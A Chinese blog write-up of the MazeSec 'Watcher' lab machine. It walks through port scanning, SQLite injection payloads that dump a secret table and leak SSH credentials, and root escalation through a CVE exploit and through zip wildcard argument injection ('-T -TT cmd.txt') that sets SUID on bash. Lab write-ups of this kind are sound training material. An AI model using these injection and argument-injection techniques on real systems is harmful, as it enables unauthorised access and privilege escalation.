MazeSec靶机-Watcher-WriteUp
信息收集
全端口扫描,发现5000端口开放
提供了一个WEB服务
尝试弱口令无果,扫描目录也只有/login和/register路由
外网打点
注册一个正常用户,进入到用户交互页面:
访问系统管理提示需要管理员,观察请求头可以发现是JWT鉴权,尝试爆破密钥:
后端多了一个更新接口,似乎并没有更多可用信息:
起初感觉是原型链污染,但是缺少源码也没法分析
当输入引号时出现报错:
似乎是SQL注入
根据报错信息可以看出来数据库是SQLite,尝试读取版本信息
1 | '|| (select sqlite_version())--+ |

查表:
1 | '|| (select group_concat(tbl_name, '|') from sqlite_master)--+ |

secret表很扎眼,看一下
1 | '|| (select sql from sqlite_master where type='table' and name='secret')--+ |

读取到secret:
1 | '|| (select secret from secret)--+ |
1 | watcher:mazesec123q1231w!@#!@@#$ |

这就是ssh账密,连上靶机
获得用户flag
1 | flag{user-c3949567202847f1ad8664095f0a94e4} |
提权(非预期)
存在一个非预期解法,直接打CVE-2026-43494-PinTheft即可提权:
读取root flag:
1 | flag{root-6661e4dc99e9408984d16d30b0c0730c} |
提权
先尝试拿LinEnum扫了一下常见提权点,并没有什么发现
ps -ef查看下当前进程情况:
注意到了
1 | inotifywait -m -e create /home/watcher/uploads |
这两项都以root权限运行,是很可疑的提权点,但是很可惜/opt/autoarchive/sync.sh无法直接读取,尝试用pspy监测一下进程运行情况:
当uploads文件夹新增txt文件时可以看到抓到了sh脚本似乎调用了zip来进行归档压缩。
PS: 此处窗口期很短,不一定每次都能抓到
推测脚本使用了通配符匹配,尝试参数注入,利用zip的-TT参数来执行命令
先在uploads目录创建一个包含命令的cmd.txt文件:
1 |
|
附上执行权限
1 | chmod +x cmd.txt |
参数注入文件:
1 | echo > "-T -TT cmd.txt" |
给bash加上suid,即可直接提权
1 | flag{root-6661e4dc99e9408984d16d30b0c0730c} |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 BR-blog!
留言